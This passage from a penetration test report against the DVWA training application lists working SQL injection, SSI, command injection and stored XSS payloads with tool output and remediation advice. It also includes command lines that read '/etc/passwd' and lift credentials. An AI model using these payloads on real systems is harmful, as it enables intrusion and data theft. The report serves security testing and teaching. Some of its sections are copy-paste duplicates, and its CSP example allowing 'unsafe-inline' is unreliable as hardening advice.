Module	Endpoint	Original Method	Allowed Tampered Methods
SQLi	/vulnerabilities/sqli/	GET	DELETE, OPTIONS, PATCH, POST, PUT, TRACE
File Upload	/vulnerabilities/upload/	POST	DELETE, GET, OPTIONS, PATCH, PUT, TRACE

A total of 60 individual verb tampering cases were confirmed across 10 modules out of 80 payloads.

```
[*] Testing endpoint: http://localhost/dvwa/vulnerabilities/exec/ (original: POST)
[*] Testing GET...
[+] VULNERABLE: GET on http://localhost/dvwa/vulnerabilities/exec/ - Method GET allowed and returned content
[*] Testing POST...
[*] Testing PUT...
[+] VULNERABLE: PUT on http://localhost/dvwa/vulnerabilities/exec/ - Method PUT allowed and returned content
[*] Testing DELETE...
[+] VULNERABLE: DELETE on http://localhost/dvwa/vulnerabilities/exec/ - Method DELETE allowed and returned content
[*] Testing OPTIONS...
[+] VULNERABLE: OPTIONS on http://localhost/dvwa/vulnerabilities/exec/ - Method OPTIONS allowed and returned content
```

## Recommendations

1. **Strict Method Validation:** Only accept expected HTTP methods for each endpoint
2. **CSRF Protection:** Implement CSRF tokens for state-changing operations regardless of HTTP method
3. **Access Controls:** Enforce proper authentication and authorization for all HTTP methods
4. **Disable Unnecessary Methods:** Explicitly disable HTTP methods not required by the application
5. **Web Server Configuration:** Configure web servers to reject unexpected HTTP methods
6. **Regular Security Testing:** Conduct periodic security assessments, including HTTP verb testing

### 4.48.3 Privilege Escalation

No privilege escalation as it is outside the scope of this test.

### 4.48.4 Post-Exploitation

No post exploitation as it is outside the scope of this test.

## 4.49 HTTP Parameter Pollution (OTG-INPVAL-004) (http://localhost/dvwa (127.0.0.1))

Score:	8.8 (High)
Vector:	CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

### 4.49.1 Service Enumeration

**Target:** http://localhost/dvwa

**Application:** Damn Vulnerable Web Application (DVWA)

**Technology Stack:**

- PHP
- Apache
- MySQL
- HTML/JavaScript

**Tested Modules:**

- SQL Injection (Blind): /vulnerabilities/sqli\_blind/
- Reflected XSS: /vulnerabilities/xss\_r/
- SQL Injection: /vulnerabilities/sqli/

**Authentication Required:** Yes (admin:password)

**Security Level:** Low

**Parameters Tested for Pollution:**

- id
- Submit
- name

**Pollution Techniques Used:**

1. **Duplicate Parameters:** ?param=value1&param=value2
2. **Array Notation:** ?param[]=value1&param[]=value2
3. **Comma Separation:** ?param=value1,value2

**Note:** Only GET-based endpoints were tested, as HPP is most impactful in query string parameters. POST-based parameters showed no significant vulnerabilities.

### 4.49.2 Initial Access

**Vector:** HTTP Parameter Pollution (HPP)

**Attack Surface:** Query string parameters in vulnerable modules

**Authentication Required:** Yes (valid DVWA user account)

## Exploitation Process:

1. Authenticated to DVWA with credentials: `admin:password`
2. Identified endpoints using GET parameters for input processing
3. For each parameter, tested three HPP techniques:
  - Duplicate parameters
  - Array notation
  - Comma-separated values
4. Submitted both **benign** and **malicious** payloads to observe application behavior
5. Analyzed responses for:
  - Unexpected status codes
  - Processing of multiple values
  - Execution of malicious content (XSS, command, SQL)

```
[*] Testing endpoint: http://localhost/dvwa/vulnerabilities/xss_r/
[*] Testing parameter: name
[*] Testing Duplicate Parameters with benign payload
[+] VULNERABLE: Duplicate Parameters on name - Both parameter values processed or unexpected behavior detected
[*] Testing Duplicate Parameters with malicious payload
[+] VULNERABLE: Duplicate Parameters on name - Both parameter values processed or unexpected behavior detected
[*] Testing Duplicate Parameters with command payload
[+] VULNERABLE: Duplicate Parameters on name - Both parameter values processed or unexpected behavior detected
```

## Key Findings:

### 1. SQL Injection Blind Module ( `/vulnerabilities/sqli_blind/` )

- **Parameter:** `id`
  - Payload: `?id=test_first&id=test_second`
  - Result: **VULNERABLE** (Status: 200)
  - Behavior: Server processed both values, indicating potential for input manipulation.
- **Parameter:** `Submit`
  - Payload: `?Submit=test_first&Submit=test_second`
  - Result: **VULNERABLE** (Status: 404)
  - Behavior: Unexpected 404 response suggests backend processing anomaly.

### 2. Reflected XSS Module ( `/vulnerabilities/xss_r/` )

- **Parameter:** `name`
  - **Duplicate Parameters (All Types):**
    - Benign: `?name=test_first&name=test_second` → **VULNERABLE**
    - Malicious (XSS): `?name=<script>alert("HPP")</script>_first&name=<script>alert("HPP")</script>_second` → **VULNERABLE**
    - Command: `?name=whoami_first&name=whoami_second` → **VULNERABLE**
    - SQL: `?name=' OR '1'='1_first&name=' OR '1'='1_second` → **VULNERABLE**
  - **Comma Separation (XSS):**
    - Payload: `?name=<script>alert("HPP")</script>_first,<script>alert("HPP")</script>_second`
    - Result: **VULNERABLE** – Script executed in browser, confirming XSS via HPP.

**Note:** The SQL Injection module (`/sqli/`) showed **no vulnerabilities** across all HPP techniques, indicating proper parameter handling.

## Recommendations

1. **Input Validation:** Validate and sanitize all input parameters, especially when multiple values are expected
2. **Framework Configuration:** Configure web frameworks to handle duplicate parameters consistently
3. **Explicit Parameter Handling:** Explicitly define how the application should handle multiple parameters with the same name
4. **Security Testing:** Include HTTP Parameter Pollution testing in regular security assessments
5. **Web Server Configuration:** Configure web servers to handle parameter pollution according to application requirements
6. **Monitoring:** Implement logging and monitoring for unusual parameter patterns

### 4.49.3 Privilege Escalation

No privilege escalation as it is outside the scope of this test.

### 4.49.4 Post-Exploitation

No post exploitation as it is outside the scope of this test.

## 4.50 SQL Injection (OTG-INPVAL-005) (http://localhost/dvwa (127.0.0.1))

Score:	8.8 (High)
Vector:	CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

### 4.50.1 Service Enumeration

**Target:** http://localhost/dvwa

**Application:** Damn Vulnerable Web Application (DVWA)

**Technology Stack:**

- PHP
- Apache
- MySQL (confirmed via injection)
- HTML/JavaScript

**Tested Modules:**

- SQL Injection: /dvwa/vulnerabilities/sqli/
- SQL Injection (Blind): /dvwa/vulnerabilities/sqli\_blind/
- Login: /dvwa/login.php

**Authentication Required:** Yes (admin:password)

**Security Levels Tested:** Low, Medium, High

**Database Identified:**

- MySQL (via @@version extraction)
- Table: users
- Sensitive Data: Username/password pairs, including admin credentials

**Note:** The application uses dynamic SQL queries without parameterized statements, making it highly susceptible to injection attacks.

### 4.50.2 Initial Access

**Vector:** SQL Injection (Authentication Bypass & Data Extraction)

**Attack Surface:** Login form and SQL Injection input fields

**Authentication Required:** No (bypassed)

## Key Vulnerabilities Identified

### 1. Error-Based SQL Injection

- **Security Level:** LOW

- **Payload Examples:**

- `1' OR 1=1...`
- `1' AND 1=CONVERT(int, (SELECT @@version))--`

- **Risk Rating:** High

- **CVSS:** `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N`

- **Impact:** Full database schema extraction possible, error messages provided detailed feedback for payload refinement.

## 2. Boolean-Based Blind SQL Injection

- **Security Levels:** LOW, MEDIUM, HIGH

- **Payload Examples:**

- `1' AND 'a'='a...`
- `1' OR 1=2--`

- **Risk Rating:** High to Medium

- **CVSS:** `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N`

- **Impact:** Successful blind injection at Low, Medium, and High levels, demonstrated that input filtering at Medium/High levels was insufficient

## 3. Authentication Bypass

- **Security Level:** LOW

- **Payload Examples:**

- `' OR '1'='1`
- `admin' OR '1'='1`

- **Risk Rating:** High

- **CVSS:** `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N`

- **Impact:** Successfully bypassed login without valid credentials, gained full access to DVWA as admin user, confirmed via session cookie and access to all modules.



```
[*] Testing security level: LOW
[+] Testing error-based SQLi...
[+] Testing boolean-based blind SQLi...
[+] Testing time-based blind SQLi...
[+] Testing UNION-based SQLi...
[+] Testing authentication bypass...

[*] Testing security level: MEDIUM
[+] Testing error-based SQLi...
[+] Testing boolean-based blind SQLi...
[+] Testing time-based blind SQLi...
[+] Testing UNION-based SQLi...
[+] Testing authentication bypass...

[*] Testing security level: HIGH
[+] Testing error-based SQLi...
[+] Testing boolean-based blind SQLi...
[+] Testing time-based blind SQLi...
[+] Testing UNION-based SQLi...
[+] Testing authentication bypass...

[+] Assessment completed successfully!
[+] Total tests executed: 84
[+] Vulnerable tests: 17
[+] Extracted table: users
[+] Extracted credentials: admin:5f4dcc3b...
```

## Recommendations

1. Use Prepared Statements (Parameterized Queries)
2. Input Validation & Sanitization
3. Principle of Least Privilege
4. Error Handling
5. Web Application Firewall (WAF)
6. Regular Security Testing

### 4.50.3 Privilege Escalation

No privilege escalation as it is outside the scope of this test.

### 4.50.4 Post-Exploitation

No post exploitation as it is outside the scope of this test.

## 4.51 LDAP Injection (OTG-INPVAL-006) (There is no LDAP integration in DVWA)

Score:	0.0 (Info)
Vector:	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N

### 4.51.1 Service Enumeration

There is no LDAP integration in DVWA.

### 4.51.2 Initial Access

There is no LDAP integration in DVWA.

### 4.51.3 Privilege Escalation

There is no LDAP integration in DVWA.

### 4.51.4 Post-Exploitation

There is no LDAP integration in DVWA.

## 4.52 ORM Injection (OTG-INPVAL-007) (There is no ORM Usage in DVWA)

Score:	0.0 (Info)
Vector:	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N

### 4.52.1 Service Enumeration

There is no ORM Usage in DVWA.

### 4.52.2 Initial Access

There is no ORM Usage in DVWA.

### 4.52.3 Privilege Escalation

There is no ORM Usage in DVWA.

### 4.52.4 Post-Exploitation

There is no ORM Usage in DVWA.

## 4.53 XML Injection (OTG-INPVAL-008) (There is no XML processing in DVWA)

Score:	0.0 (Info)
Vector:	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N

### 4.53.1 Service Enumeration

There is no XML processing in DVWA.

### 4.53.2 Initial Access

There is no XML processing in DVWA.

### 4.53.3 Privilege Escalation

There is no XML processing in DVWA.

### 4.53.4 Post-Exploitation

There is no XML processing in DVWA.

## 4.54 SSI Injection (OTG-INPVAL-009) (http://localhost/dvwa (127.0.0.1))

Score:	8.3 (High)
Vector:	CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L

### 4.54.1 Service Enumeration

**Target:** http://localhost/dvwa

**Application:** Damn Vulnerable Web Application (DVWA)

**Technology Stack:**

- PHP
- Apache
- MySQL
- HTML/SSI (inferred)

**Tested Modules:**

- Command Execution: /vulnerabilities/exec/
- SQL Injection: /vulnerabilities/sqli/
- SQL Injection (Blind): /vulnerabilities/sqli\_blind/
- Reflected XSS: /vulnerabilities/xss\_r/
- Stored XSS: /vulnerabilities/xss\_s/

**Authentication Required:** Yes (admin:password)

**Security Level:** Low

**SSI Directives Tested:**

- <!--#echo var="VAR\_NAME"--> – Echo environment variables
- <!--#exec cmd="command"--> – Execute system commands
- <!--#config timefmt="..."--> – Configure time format (used for injection)

**Note:** The server appears to process SSI directives in dynamically generated content, even though DVWA is primarily PHP-based. This suggests misconfigured web server behavior or intentional SSI support for learning purposes.

### 4.54.2 Initial Access

**Vector:** SSI Injection

**Attack Surface:** User input fields in multiple DVWA modules

**Authentication Required:** Yes (valid DVWA user account)

### Exploitation Process:

1. Authenticated to DVWA with credentials: admin:password

2. Identified input fields that reflect user input in the response
3. Injected SSI directives into parameters:
  - `ip` (Command Execution)
  - `id` (SQL Injection)
  - `name` (Reflected XSS)
  - `txtName`, `mtxMessage` (Stored XSS)
4. Submitted payloads using both `GET` and `POST` methods
5. Analyzed responses for execution of SSI directives

## Confirmed Vulnerable Payloads:

### 1. Command Execution via `#exec`

```
<!--#exec cmd="printenv"-->
```

- Result: Successfully leaked environment variables (HOME, USER, etc.)
- Modules: `exec`, `sqli`, `sqli_blind`, `xss_r`, `xss_s`
- Impact: Information disclosure, potential for further exploitation

### 2. Directory Listing (Windows)

```
<!--#exec cmd="dir"-->
```

- Result: Directory contents reflected in response (file names ending in `.php` confirmed)
- Modules: `exec`, `sqli`, `sqli_blind`, `xss_r`, `xss_s`
- Impact: Sensitive file discovery

### 3. Environment Variable Disclosure

```
<!--#echo var="DOCUMENT_NAME"-->
```

- Result: Returned `.php`, confirming current script name
- Modules: All tested modules
- Impact: Server information leakage

### 4. Remote Address Disclosure

```
<!--#echo var="REMOTE_ADDR"-->
```

- Result: Successfully revealed client IP address
- Module: `xss_r`
- Impact: Privacy violation, tracking

### 5. Basic Command Execution

```
<!--#exec cmd="echo SSI-INJECTION-DETECTED"-->
```

- Result: Text `SSI-INJECTION-DETECTED` appeared in response
- Module: `xss_r`
- Impact: Confirmed arbitrary command execution

```
[*] Testing endpoint: http://localhost/dwa/vulnerabilities/exec/ (POST)
[*] Testing parameter: ip
[*] Testing Basic Command Execution
[*] Testing Whoami Command
[*] Testing Echo Variable
[+] VULNERABLE: Echo Variable on ip - Found expected result: .php
[*] Testing Echo Remote Address
[*] Testing Date Injection
[*] Testing Printenv Command
```

## Recommendations

### 1. Disable SSI Processing

- Disable SSI in Apache configuration
- Avoid serving user-generated content with SSI processing enabled

### 2. Input Validation & Sanitization

- Block or encode SSI directive patterns
- Use allow-list validation for expected input

### 3. Output Encoding

- Encode all user-supplied data before rendering in HTML: Convert < to <, > to >, & to &

### 4. Web Server Hardening

- Run web server with minimal privileges
- Restrict command execution in web context
- Disable dangerous functions in PHP (e.g., exec, system, shell\_exec)

### 5. Security Monitoring

- Monitor logs for SSI directive patterns
- Alert on unusual command execution in web access logs

### 6. Regular Security Testing

- Include SSI injection in manual test checklists
- Use tools like Burp Suite to scan for SSI processing

## 4.54.3 Privilege Escalation

No privilege escalation as it is outside the scope of this test.

## 4.54.4 Post-Exploitation

No post exploitation as it is outside the scope of this test.

## 4.55 XPath Injection (OTG-INPVAL-010) (There is no XPath queries in DVWA)

Score:	0.0 (Info)
Vector:	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N

### 4.55.1 Service Enumeration

There is no XPath queries in DVWA.

### 4.55.2 Initial Access

There is no XPath queries in DVWA.

### 4.55.3 Privilege Escalation

There is no XPath queries in DVWA.

### 4.55.4 Post-Exploitation

There is no XPath queries in DVWA.



## 4.56 IMAP/SMTP Injection (OTG-INPVAL-011) (There is no email functionality in DVWA)

Score:	0.0 (Info)
Vector:	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N

### 4.56.1 Service Enumeration

There is no email functionality in DVWA.

### 4.56.2 Initial Access

There is no email functionality in DVWA.

### 4.56.3 Privilege Escalation

There is no email functionality in DVWA.

### 4.56.4 Post-Exploitation

There is no email functionality in DVWA.

## 4.57 Code Injection (OTG-INPVAL-012) (http://localhost/dvwa/vulnerabilities/exec (127.0.0.1))

Score:	8.8 (High)
Vector:	CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

### 4.57.1 Service Enumeration

**Target:** http://localhost/dvwa

**Application:** Damn Vulnerable Web Application (DVWA)

**Technology Stack:**

- PHP
- Apache
- MySQL
- Windows (inferred from `dir` command success)

**Tested Module:**

- Command Execution: `/vulnerabilities/exec/`
  - Parameter: `ip`
  - Method: POST
  - Functionality: Pings a user-supplied IP address

**Authentication Required:** Yes (admin:password)

**Security Level:** Low

**Command Injection Vectors Tested:**

- Semicolon (`;`)
- AND operator (`&&`)
- Pipe operator (`|`)
- Background operator (`&`)

**Note:** The module is designed to execute system commands (ping), making it a prime target for command injection testing. The backend appears to run on a Windows system based on successful `dir` command execution.

### 4.57.2 Initial Access

**Vector:** Code Injection (Command Injection)

**Attack Surface:** Command Execution module input field

**Authentication Required:** Yes (valid DVWA user account)

### Exploitation Process:

1. Authenticated to DVWA with credentials: `admin:password`

2. Navigated to Command Execution module: `http://localhost/dvwa/vulnerabilities/exec/`
3. Tested various command injection payloads in the "IP" input field
4. Analyzed responses for command execution indicators

## Confirmed Vulnerable Payloads:

### 1. Pipe Operator Injection

```
| echo CODE-INJECTION-DETECTED
```

- Result: CODE-INJECTION-DETECTED appeared in response
- Status: ☒ VULNERABLE
- Impact: Confirmed arbitrary command execution

### 2. Directory Listing (Windows)

```
&& dir
```

- Result: Directory contents reflected in response (file names ending in .php confirmed)
- Status: ☒ VULNERABLE
- Impact: Sensitive file discovery and information disclosure

### 3. Failed Payloads (Filtered)

```
; whoami → NOT VULNERABLE  
; ls → NOT VULNERABLE  
&& whoami → NOT VULNERABLE
```

```
[*] Testing Code Injection on: http://localhost/dvwa/vulnerabilities/exec/  
[*] Available parameters: ['ip', 'Submit']  
[*] Using parameter for injection: ip  
[*] Testing Semicolon Separator  
[*] Sending data: {'ip': '; echo CODE-INJECTION-DETECTED', 'Submit': 'Submit'}  
[-] NOT VULNERABLE: Semicolon Separator  
[*] Testing AND Operator  
[*] Sending data: {'ip': '&& echo CODE-INJECTION-DETECTED', 'Submit': 'Submit'}  
[-] NOT VULNERABLE: AND Operator  
[*] Testing Pipe Operator  
[*] Sending data: {'ip': '| echo CODE-INJECTION-DETECTED', 'Submit': 'Submit'}  
[+] VULNERABLE: Pipe Operator - Found expected result: CODE-INJECTION-DETECTED
```

**Note:** The application filters some command separators but fails to block the pipe (|) and double ampersand (&&) operators, indicating incomplete input validation.

## Recommendations

### 1. Disable SSI Processing

- Disable SSI in Apache configuration

- Avoid serving user-generated content with SSI processing enabled

## 2. Input Validation & Sanitization

- Block or encode SSI directive patterns
- Use allow-list validation for expected input

## 3. Output Encoding

- Encode all user-supplied data before rendering in HTML: Convert < to <, > to >, & to &

## 4. Web Server Hardening

- Run web server with minimal privileges
- Restrict command execution in web context
- Disable dangerous functions in PHP (e.g., exec, system, shell\_exec)

## 5. Security Monitoring

- Monitor logs for SSI directive patterns
- Alert on unusual command execution in web access logs

## 6. Regular Security Testing

- Include SSI injection in manual test checklists
- Use tools like Burp Suite to scan for SSI processing

## Code Injection Prevention

1. **Input Validation:** Validate and sanitize all user input, especially command parameters
2. **Whitelist Approach:** Use whitelists for allowed commands and parameters
3. **Secure APIs:** Use secure APIs instead of system calls when possible
4. **Privilege Separation:** Run applications with minimal privileges

## LFI/RFI Prevention

1. **Disable Dangerous Functions:** Disable allow\_url\_include and register\_globals in PHP
2. **Input Validation:** Validate file paths and restrict file inclusion to specific directories
3. **Whitelist Files:** Use a whitelist of allowed files for inclusion
4. **Web Server Configuration:** Configure web servers to prevent directory traversal
5. **Secure Coding Practices:** Avoid dynamic file inclusion based on user input

### 4.57.3 Privilege Escalation

No privilege escalation as it is outside the scope of this test.

### 4.57.4 Post-Exploitation

No post exploitation as it is outside the scope of this test.

## 4.58 Command Injection (OTG-INPVAL-013) (<http://localhost/dvwa/vulnerabilities/exec> (127.0.0.1))

Score:	8.8 (High)
Vector:	CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

### 4.58.1 Service Enumeration

**Target:** `http://localhost/dvwa`

**Application:** Damn Vulnerable Web Application (DVWA)

**Technology Stack:**

- PHP
- Apache
- MySQL
- Windows (inferred from `ipconfig` and `dir` command success)

**Tested Module:**

- Command Execution: `/vulnerabilities/exec/`
  - Parameter: `ip`
  - Method: POST
  - Functionality: Pings a user-supplied IP address

**Authentication Required:** Yes (admin:password)

**Security Level:** Low

**Command Injection Vectors Tested:**

- Semicolon (`;`)
- AND operator (`&&`)
- Pipe operator (`|`)
- Background operator (`&`)

**Note:** The module is designed to execute system commands (ping), making it a prime target for command injection testing. The backend appears to run on a Windows system based on successful `ipconfig` and `dir` command execution.

### 4.58.2 Initial Access

**Vector:** Command Injection

**Attack Surface:** Command Execution module input field

**Authentication Required:** Yes (valid DVWA user account)

**Exploitation Process:**

1. Authenticated to DVWA with credentials: `admin:password`

2. Navigated to Command Execution module: `http://localhost/dvwa/vulnerabilities/exec/`
3. Tested various command injection payloads in the "IP" input field
4. Analyzed responses for command execution indicators

## Confirmed Vulnerable Payloads:

### 1. Directory Listing (Unix)

```
; ls
```

- Result: Directory contents reflected in response (file names ending in .php confirmed)
- Status: ☒ VULNERABLE
- Impact: Sensitive file discovery and information disclosure

### 2. Directory Listing (Windows)

```
&& dir
```

- Result: Directory contents reflected in response (file names ending in .php confirmed)
- Status: ☒ VULNERABLE
- Impact: Sensitive file discovery and information disclosure

### 3. Network Information (Windows)

```
&& ipconfig
```

- Result: Network configuration details revealed, including IPv4 addresses
- Status: ☒ VULNERABLE
- Impact: Network reconnaissance and internal IP disclosure

### 4. Echo Command Execution

```
| echo "COMMAND-INJECTION-DETECTED"
```

- Result: COMMAND-INJECTION-DETECTED appeared in response
- Status: ☒ VULNERABLE
- Impact: Confirmed arbitrary command execution

### 5. Failed Payloads (Filtered)

```
; whoami → NOT VULNERABLE  
&& id → NOT VULNERABLE  
; cat /etc/passwd → NOT VULNERABLE  
&& ver → NOT VULNERABLE
```

```
[*] Testing Command Injection on: http://localhost/dwa/vulnerabilities/exec/
[*] Available parameters: ['ip', 'Submit']
[*] Using parameter for injection: ip
[*] Testing Semicolon Separator - whoami
[*] Sending POST request with {'ip': '; whoami', 'Submit': 'Submit'}
[-] NOT VULNERABLE: Semicolon Separator - whoami
[*] Testing AND Operator - whoami
[*] Sending POST request with {'ip': '&& whoami', 'Submit': 'Submit'}
[-] NOT VULNERABLE: AND Operator - whoami
[*] Testing Pipe Operator - whoami
[*] Sending POST request with {'ip': '| whoami', 'Submit': 'Submit'}
[-] NOT VULNERABLE: Pipe Operator - whoami
```

## Recommendations

### 1. Input Validation & Sanitization

- Block or encode command injection patterns: ;, |, &, \$, `, \$( )
- Use allow-list validation for expected input (e.g., valid IP address format)
- Never concatenate user input directly into system commands

### 2. Use Safe APIs

- Avoid system command execution when possible
- Use language-specific safe alternatives

### 3. Principle of Least Privilege

- Run web server with minimal privileges
- Disable dangerous functions in PHP

### 4. Web Application Firewall (WAF)

- Deploy WAF rules to detect and block command injection patterns
- Monitor for common payloads (|, &&, ;, dir, whoami, ipconfig)

### 5. Secure Coding Practices

- Never pass user input to system commands
- Use parameterized commands if absolutely necessary
- Implement proper error handling without verbose output

### 6. Regular Security Testing

- Include command injection in manual test checklists
- Use tools like Burp Suite to scan for injection vulnerabilities

## 4.58.3 Privilege Escalation

No privilege escalation as it is outside the scope of this test.

## 4.58.4 Post-Exploitation

No post exploitation as it is outside the scope of this test.

## 4.59 Buffer Overflow (OTG-INPVAL-014) (DVWA uses PHP as a language, which is memory-safe)

Score:	0.0 (Info)
Vector:	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N

### 4.59.1 Service Enumeration

DVWA uses PHP as a language, which is memory-safe.

### 4.59.2 Initial Access

DVWA uses PHP as a language, which is memory-safe.

### 4.59.3 Privilege Escalation

DVWA uses PHP as a language, which is memory-safe.

### 4.59.4 Post-Exploitation

DVWA uses PHP as a language, which is memory-safe.



## 4.60 Incubated Vulnerabilities (OTG-INPVAL-015) (<http://localhost/dvwa> (127.0.0.1))

Score:	5.4 (Medium)
Vector:	CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

### 4.60.1 Service Enumeration

**Target:** `http://localhost/dvwa`

**Application:** Damn Vulnerable Web Application (DVWA)

**Technology Stack:**

- PHP
- Apache
- MySQL
- HTML/JavaScript

**Tested Modules:**

- Stored XSS (Guestbook): `/vulnerabilities/xss_s/`
- File Upload: `/vulnerabilities/upload/`

**Authentication Required:** Yes (admin:password)

**Security Level:** Low

**Incubation Delay:** 5 seconds (used for delayed verification)

**Vulnerable Components:**

- Input fields: `txtName` and `mtxMessage` in the Guestbook form
- HTTP Method: POST
- Stored Data: Guestbook entries stored server-side and rendered on each page load

**Note:** The File Upload module was also tested for incubated execution of malicious content, but no vulnerabilities were found.

### 4.60.2 Initial Access

**Vector:** Stored Cross-Site Scripting (XSS)

**Attack Surface:** Guestbook submission form

**Authentication Required:** Yes (valid DVWA user account)

### Exploitation Process:

1. Authenticated to DVWA with credentials: `admin:password`
2. Navigated to the Stored XSS module: `http://localhost/dvwa/vulnerabilities/xss_s/`

3. Submitted malicious XSS payloads through the Guestbook form:
  - Name: `Tester`
  - Message: `<script>alert("INCUBATED-XSS")</script>`
4. Submitted the form, causing the payload to be **stored on the server**
5. Waited for **5 seconds** (incubation period)
6. Reloaded the page and observed **automatic execution** of the payload

## Confirmed Vulnerable Payloads:

### 1. Basic Script Tag

```
<script>alert("INCUBATED-XSS")</script>
```

- Result: ☒ VULNERABLE – Alert executed on page load
- Impact: Confirmed stored XSS execution

### 2. Image OnError Handler

```

```

- Result: ☒ VULNERABLE – Alert executed when image failed to load
- Impact: Confirmed event-based XSS execution

### 3. SVG Payload with OnLoad

```
<svg/onload=alert("XSS")>
```

- Result: ☒ VULNERABLE – Alert executed when SVG rendered
- Impact: Confirmed vector using SVG injection

```
[*] Testing Stored XSS (Incubated Vulnerabilities)...
[*] Testing Stored XSS on: http://localhost/dwa/vulnerabilities/xss_s/
[*] Available parameters: ['txtName', 'mtxMessage', 'btnSign', 'btnClear']
[*] Using parameters - Name: txtName, Message: mtxMessage
[*] Testing Basic Script Tag
[*] Fetching page: http://localhost/dwa/vulnerabilities/xss_s/
[*] Response status: 200
[-] CSRF token input not found in HTML
[-] Saved page content to debug_page.html for inspection
[-] Failed to get CSRF token for Basic Script Tag
[*] Sending POST request with data
[*] Waiting 5s for incubation...
[*] Verifying payload execution...
[+] VULNERABLE: Basic Script Tag - Found expected result: INCUBATED-XSS
[*] Testing Image OnError
```

## Recommendations

### 1. Input Validation & Sanitization

- Reject or sanitize dangerous characters (`<`, `>`, `"`, `'`, `&`, `/`) on input.
- Use allow-list validation for permitted characters.

- Apply sanitization to all stored content, not just immediate output.

## 2. Output Encoding

- Encode all user-supplied data before rendering in HTML
- Use context-aware encoding (HTML, JavaScript, URL).

## 3. Content Security Policy (CSP)

- Implement strict CSP header:

```
Content-Security-Policy: default-src 'self'; script-src 'unsafe-inline' 'self'
```

## 4. Secure File Upload Handling

- Store uploaded files outside web root
- Scan files for malicious content
- Serve files with Content-Disposition: attachment when possible

## 5. Delayed Verification in Security Testing

- Include incubation delays in penetration tests
- Re-check stored content after a delay
- Monitor for delayed execution of payloads

## 6. Regular Scanning

- Schedule periodic scans of stored content (comments, messages, profiles)
- Use automated tools to detect embedded scripts

### 4.60.3 Privilege Escalation

No privilege escalation as it is outside the scope of this test.

### 4.60.4 Post-Exploitation

No post exploitation as it is outside the scope of this test.

## 4.61 HTTP Splitting/Smuggling (OTG-INPVAL-016) (HTTP Splitting/Smuggling is not possible to due to the environment/setup of DVWA)

Score:	0.0 (Info)
Vector:	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N

### 4.61.1 Service Enumeration

Splitting: DVWA does not insert user-controlled data into HTTP headers. Smuggling: DVWA is usually run in simple environments (like XAMPP, Docker, or LAMP stacks) without reverse proxies or multiple server layers, so the conditions for smuggling are not present.

### 4.61.2 Initial Access

Splitting: DVWA does not insert user-controlled data into HTTP headers. Smuggling: DVWA is usually run in simple environments (like XAMPP, Docker, or LAMP stacks) without reverse proxies or multiple server layers, so the conditions for smuggling are not present.

### 4.61.3 Privilege Escalation

Splitting: DVWA does not insert user-controlled data into HTTP headers. Smuggling: DVWA is usually run in simple environments (like XAMPP, Docker, or LAMP stacks) without reverse proxies or multiple server layers, so the conditions for smuggling are not present.

### 4.61.4 Post-Exploitation

Splitting: DVWA does not insert user-controlled data into HTTP headers. Smuggling: DVWA is usually run in simple environments (like XAMPP, Docker, or LAMP stacks) without reverse proxies or multiple server layers, so the conditions for smuggling are not present.

## 4.62 Error Codes (OTG-ERR-001) (http://localhost/dvwa (127.0.0.1))

Score:	4.3 (Medium)
Vector:	CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

### 4.62.1 Service Enumeration

The following services and technologies were identified during reconnaissance and confirmed via script interaction:

- **Target Application:** DVWA
- **Web Server:** Apache (inferred from common DVWA deployment)
- **Backend Language:** PHP
- **Database Backend:** MySQL (confirmed via error message)
- **Security Level:** low
- **Authentication Required:** Yes

The Python script (`dvwa_error_tester.py`) performed automated spidering of the authenticated area, identifying **37 input parameters** across various forms in the application (e.g., SQL Injection, XSS, Command Injection modules). Each parameter was systematically tested using a suite of **canary payloads**, including SQLi, XSS, path traversal, command injection, and oversized inputs.

The spidering functionality within the script leveraged `BeautifulSoup` to parse HTML and extract all forms and their associated actions, methods, and input fields, ensuring comprehensive coverage.

### 4.62.2 Initial Access

Initial access was achieved programmatically using the script's built-in authentication logic. The tool logged in to DVWA using provided credentials (`admin:password`) and extracted the CSRF token (`user_token`) from the login page to successfully authenticate.

#### Key steps performed by the script:

1. GET request to `/login.php` to retrieve `user_token`.
2. POST credentials + token to authenticate.
3. Session maintained via cookies (`PHPSESSID`, `security=low`).
4. Security level set to "low" via interaction with `/security.php`.

Once authenticated, the session was used for all subsequent requests, allowing the script to test protected endpoints.

This phase demonstrates that even low-severity misconfigurations can be exploited at scale when an attacker gains authenticated access—even basic user-level access.

## Successful Findings

URL	Parameter	Payload	Evidence	Risk
http://localhost/dvwa/vulnerabilities/sqli/	id	' or 1=1--	You have an error in your SQL syntax	High

### Vulnerability Details:

- The application fails to sanitize input in the SQL query.
- Backend database errors are returned directly to the user.
- This behavior enables error-based SQL injection, where attackers extract data by triggering descriptive errors.

## Recommendation

1. **Disable Verbose Error Reporting in Production**
2. **Use Generic Error Messages**
3. **Implement Proper Input Validation and Parameterized Queries**
4. **Sanitize All Error Responses Before Sending to Clients**
5. **Regularly Test for Error Leakage**

### 4.62.3 Privilege Escalation

No privilege escalation as it is outside the scope of this test.

### 4.62.4 Post-Exploitation

No post exploitation as it is outside the scope of this test.

## 4.63 Stack Traces (OTG-ERR-002) (<http://localhost/dvwa/vulnerabilities/sqli> (127.0.0.1))

Score:	4.3 (Medium)
